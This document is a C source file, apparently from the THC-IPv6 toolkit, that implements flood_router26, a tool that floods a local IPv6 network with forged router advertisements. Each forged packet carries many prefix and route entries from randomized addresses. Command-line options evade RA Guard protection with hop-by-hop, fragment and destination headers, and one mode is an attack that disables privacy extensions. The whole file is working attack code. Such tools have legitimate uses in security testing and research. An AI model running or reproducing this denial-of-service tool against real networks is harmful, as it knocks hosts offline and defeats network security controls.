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flood_router26.c
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flood_router26.c
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
void help(char *prg) {
printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf("Syntax: %s [-HFD] [-sSG] [-RPA] interface [target]\n\n", prg);
printf("Flood the local network with router advertisements.\n");
printf("Each packet contains ~25 prefix and route enries\n");
printf("Modes:\n");
printf(" default sends both routing entries and prefix information\n");
printf(" -R does only send routing entries, no prefix information\n");
printf(" -P does only send prefix information, no routing entries\n");
printf(" -A an attack to disable privacy extensions\n");
printf("Options:\n");
printf(" -a add a hopbyhop header with router alert\n");
printf(" -H add a hopbyhop header to bypass RA guard security\n");
printf(
" -f add an atomic fragment header to bypass RA guard security\n");
printf(
" -D add a large destination header to bypass RA guard "
"security\n");
printf(
" -F perform full RA guard evasion (disallows all other bypass "
"options)\n");
printf(
" -s use small lifetimes, resulting in a more devasting impact\n");
printf(" -S performs a slow start, which can increases the impact\n");
printf(" -G gigantic packet of 64kb of prefix/route entries\n");
printf(" -m add DHCPv6 managed/other flags to RA\n");
exit(-1);
}
int main(int argc, char *argv[]) {
char * interface, mac[6] = "";
unsigned char *mac6 = mac, *ip6;
unsigned char *buf, buf2[6], buf3[1504];
unsigned char *dst = thc_resolve6("ff02::1"),
*dstmac = thc_get_multicast_mac(dst);
int size, mtu, i, j, k, type = NXT_ICMP6, route_only = 0, prefix_only = 0,
offset = 14;
unsigned char *pkt = NULL;
int pkt_len = 0, rawmode = 0, count = 0, deanon = 0, do_alert = 0, do_hop = 0,
do_frag = 0, do_dst = 0, bsize = -1, do_dhcp = 0, do_full = 0;
int cnt, until = 0, lifetime = 0x00ff0100, mfoo, slow = 0,
prefer = PREFER_LINK;
thc_ipv6_hdr *hdr = NULL;
if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]);
while ((i = getopt(argc, argv, "fDFHRPAarsmSG")) >= 0) {
switch (i) {
case 'r':
thc_ipv6_rawmode(1);
rawmode = 1;
break;
case 's':
lifetime = 0x01000000;
break;
case 'm':
do_dhcp = 128 + 64;
break;
case 'S':
slow = 16;
break;
case 'G':
bsize = 65488;
break;
case 'A':
deanon = 1;
prefix_only = 1;
cnt = 5;
until = 256;
break;
case 'f':
do_frag++;
break;
case 'F':
do_full = 1;
break;
case 'H':
do_hop = 1;
break;
case 'a':
do_alert = 1;
do_hop = 1;
break;
case 'D':
do_dst = 1;
break;
case 'R':
route_only = 1;
break;
case 'P':
prefix_only = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (do_full) do_frag = do_alert = do_hop = do_dst = 0;
interface = argv[optind];
if (prefix_only && route_only) {
fprintf(stderr, "Error: -P/-A and -R can not be specified together!\n");
exit(-1);
}
if (bsize == -1) {
bsize = thc_get_mtu(interface) - 40;
if (bsize < 1240 || bsize > 1460) {
fprintf(stderr, "Error: invalid MTU on interface %s: %d\n", interface,
thc_get_mtu(interface));
exit(-1);
}
}
if (argc - optind > 1) {
if ((dst = thc_resolve6(argv[optind + 1])) == NULL) {
fprintf(stderr, "Error: invalid target %s\n", argv[optind + 1]);
exit(-1);
}
if (dst[0] >= 0x20 && dst[0] <= 0xfd) {
prefer = PREFER_GLOBAL;
ip6 = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL);
}
}
if ((buf = malloc(bsize)) == NULL) {
fprintf(stderr, "Error: malloc() failed\n");
exit(-1);
}
if (deanon == 0) {
i = 0;
if (prefix_only == 0) i += 24;
if (route_only == 0) i += 32;
// printf("i %d route %d prefix %d\n", i, prefix_only, route_only);
cnt = (bsize - 32 - (do_hop + do_dst + do_frag) * 8) / i;
}
if (argc - optind < 1) help(argv[0]);
srand(time(NULL) + getpid());
setvbuf(stdout, NULL, _IONBF, 0);
if (thc_get_own_mac(interface) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
mac[0] = 0;
mac[1] = 0x0c;
mtu = 1500;
size = 64;
k = rand();
if (prefer == PREFER_LINK) {
ip6 = malloc(16);
memset(ip6, 0, 16);
ip6[0] = 0xfe;
ip6[1] = 0x80;
} else {
memset(ip6 + 8, 0, 8);
}
ip6[9] = (k % 65536) / 256;
ip6[10] = k % 256;
ip6[15] = 1;
k++;
if (do_hdr_size) offset = do_hdr_size;
memset(buf2, 0, sizeof(buf2));
memset(buf3, 0, sizeof(buf3));
memset(buf, 0, bsize);
buf[1] = 0x30;
buf[5] = 30;
buf[8] = 5; // mtu
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[13] = (mtu % 16777216) / 65536;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
buf[16] = 1; // mac
buf[17] = 1;
buf[18] = 0;
buf[19] = 0x0c;
// 18-23 = mac address
buf[19] = 12;
j = 24;
if (route_only == 0) {
for (i = 0; i < cnt; i++) { // prefix
buf[j] = 3; // prefix
buf[j + 1] = 4;
buf[j + 2] = size;
buf[j + 3] = 128 + 64 + 32;
memcpy(buf + j + 4, (char *)&lifetime + _TAKE4, 4);
memcpy(buf + j + 8, (char *)&lifetime + _TAKE4, 4);
// buf[j+5] = 2;
// buf[j+9] = 1;
// memset(&buf[j+16], 255, 8);
if (deanon) {
buf[j + 16] = 0xfd;
buf[j + 17] = 0x00;
} else {
buf[j + 16] = 0x20;
buf[j + 17] = 0x12;
}
buf[j + 18] = (k % 65536) / 256;
buf[j + 19] = k % 256;
j += 32;
k++;
}
}
if (prefix_only == 0) {
for (i = 0; i < cnt; i++) { // route
buf[j] = 24;
buf[j + 1] = 3;
buf[j + 2] = size;
buf[j + 3] = 8;
memcpy(buf + j + 4, (char *)&lifetime + _TAKE4, 4);
// buf[j+5] = 1; // 4-7 lifetime
// memset(&buf[j+8], 255, 8);
buf[j + 8] = 32;
buf[j + 9] = 4;
buf[j + 10] = k / 256;
buf[j + 11] = k % 256;
j += 24;
k++;
}
}
if (do_alert) {
buf2[0] = 5;
buf2[1] = 2;
}
// printf("DBG: %d entries of %s %s\n", cnt, route_only == 0 ? "prefix" : "",
// prefix_only == 0 ? "route" : ""); printf("j is %d, bsize %d\n", j, bsize);
printf(
"Starting to flood network with router advertisements on %s (Press "
"Control-C to end, a dot is printed for every 1000 packets):\n",
interface);
while (until != 1) {
memcpy(ip6 + 11, (char *)&k + _TAKE4, 4);
memcpy(&buf[20], (char *)&k + _TAKE4, 4);
memcpy(mac, (char *)&k + _TAKE4, 4);
k++;
for (i = 0; i < cnt; i++) {
if (route_only == 0)
memcpy(&buf[24 + 20 + i * 32], (char *)&k + _TAKE4, 4);
k++;
if (prefix_only == 0) {
if (route_only == 0)
memcpy(&buf[24 + 12 + i * 24 + cnt * 32], (char *)&k + _TAKE4, 4);
else
memcpy(&buf[24 + 12 + i * 24], (char *)&k + _TAKE4, 4);
}
k++;
}
count++;
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6,
dst, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0)
return -1;
}
if (do_frag) {
if (type == NXT_ICMP6) type = NXT_FRAG;
for (i = 0; i < do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, count + i) < 0)
return -1;
}
if (do_dst) {
if (type == NXT_ICMP6) type = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1;
}
if (lifetime != 0x01000000)
mfoo = 0xff08ffff;
else
mfoo = 0xff080001;
if (do_dhcp) mfoo = (mfoo | (do_dhcp << 16));
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, mfoo, buf, j, 0) < 0)
return -1;
if (do_full) {
thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len);
hdr = (thc_ipv6_hdr *)pkt;
thc_send_raguard_bypass6(interface, ip6, dst, mac6, dstmac, NXT_ICMP6,
hdr->pkt + 40 + offset,
hdr->pkt_len - 40 - offset, 0);
} else if (do_dst || bsize + 40 > thc_get_mtu(interface)) {
thc_send_as_fragment6(interface, ip6, dst, type, hdr->pkt + 40 + offset,
hdr->pkt_len - 40 - offset, 1240);
} else {
if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) <
0) {
printf("!");
}
}
pkt = thc_destroy_packet(pkt);
// usleep(1);
if (slow > 0) {
printf("slow ");
sleep(slow / 2);
slow--;
}
if (count % 1000 == 0) printf(".");
if (until > 1) until--;
}
if (deanon) printf("\nPrivacy extension attack done.\n");
return 0;
}